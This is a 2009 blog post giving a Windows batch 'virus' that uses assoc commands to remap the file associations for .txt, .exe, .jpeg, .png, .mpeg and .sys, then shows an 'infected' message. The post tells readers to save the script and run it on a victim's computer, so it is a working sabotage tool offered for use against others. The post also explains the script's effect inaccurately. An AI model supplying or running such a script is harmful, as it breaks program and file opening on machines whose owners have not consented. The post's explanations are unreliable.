Tuesday, August 18, 2009

Ext_change Virus

Here in this article i came with Extension changer virus today i am gonna showing you how to change an Extension of an files.

What is Extension changer ?

Assume that all images (*.jpeg, Gif etc) are by default opening with "Windows Picture and Fax Viewer" but in this article this will change to some other application as you wish for ex: .mpeg application so that it cannot be opened in this way you can disable opening of jpeg application.The source code & step by step procedure is as follows.

1. Open a Notepad and copy and paste the below code

@echo off
assoc .txt=jpegfile
assoc .exe=htmlfile
assoc .jpeg=avifile
assoc .png=mpegfile
assoc .mpeg=txtfile
assoc .sys=regfile
msg Your System got Infected…..

2. Save it as extension.bat, and now you are ready to go…

3. Execute this on Victims computer

This Virus File will change the native extension with some other extension and makes them unable to open the file unless they know how to deal with it…

The above program replaces all the text files [.txt] with the extension [.jpeg], and likewise….

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